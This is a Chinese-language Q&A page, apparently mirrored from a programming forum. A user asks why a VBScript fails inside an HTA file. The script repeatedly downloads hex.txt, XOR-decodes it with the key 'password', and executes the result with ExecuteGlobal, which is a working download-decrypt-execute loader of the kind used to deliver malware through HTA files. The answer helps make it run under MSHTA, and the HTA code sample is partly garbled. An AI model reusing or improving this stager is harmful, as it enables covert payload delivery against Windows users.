微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

HTA 文件中 ExecuteGlobal() 的使用 有用的链接

如何解决HTA 文件中 ExecuteGlobal() 的使用 有用的链接

我有一个 vbscript,它在单独执行时工作正常,即

On Error Resume Next:
            Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
            a.setoption 2,13056:
            while(Len(b) = 0):
                a.open"GET","http://127.0.0.1/hex.txt",False:
                a.send: 
                b = a.responseText:
            wend:
            k="password":
            for i = 0 to Len(b) - 1 Step 2:
                c = c & Chr(Asc(Chr("&H" & Mid(b,i + 1,2))) xor Asc(Mid(k,((i / 2)mod Len(k)) + 1,1))):
        
            Next:
            ExecuteGlobal c: 

但是当我在 HTA 中包含这个脚本时,它不会执行 (ExecuteGlobal c:) 即

<html>
<head>
<script language="VBScript"> 
    Sub RunProgram
            On Error Resume Next:
            Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
            a.setoption 2,1))):
        
            Next:
            ExecuteGlobal c:   
        End Sub
    RunProgram()
</script>
</head> 
<body>
 
</body>
</html>

我认为问题出在 (ExecuteGlobal c:) 部分,它不会在 HTA 中执行,但是当我单独使用 vbscript 时它可以正常执行。

解决方法

更新答案:

基于 the comments 很明显问题在于您尝试运行的解码脚本中引用了 WScript,它是一个对象 not accessible outside of the Windows Scripting Hostwscript.exe 和 { {1}})。由于 MSHTA 脚本主机不支持它,因此它在 HTA 中不可用。


原答案:

目前的 HTML 代码示例不是 HTA,因为它缺少 <HTA:APPLICATION> 元素。

尝试添加;

cscript.exe

<HTA:APPLICATION ID="oHTA" APPLICATIONNAME="myApp" BORDER="thin" BORDERSTYLE="normal" CAPTION="yes" ICON="" MAXIMIZEBUTTON="yes" MINIMIZEBUTTON="yes" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="yes" VERSION="1.0" WINDOWSTATE="maximize"/> 元素内的 HTML。


版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。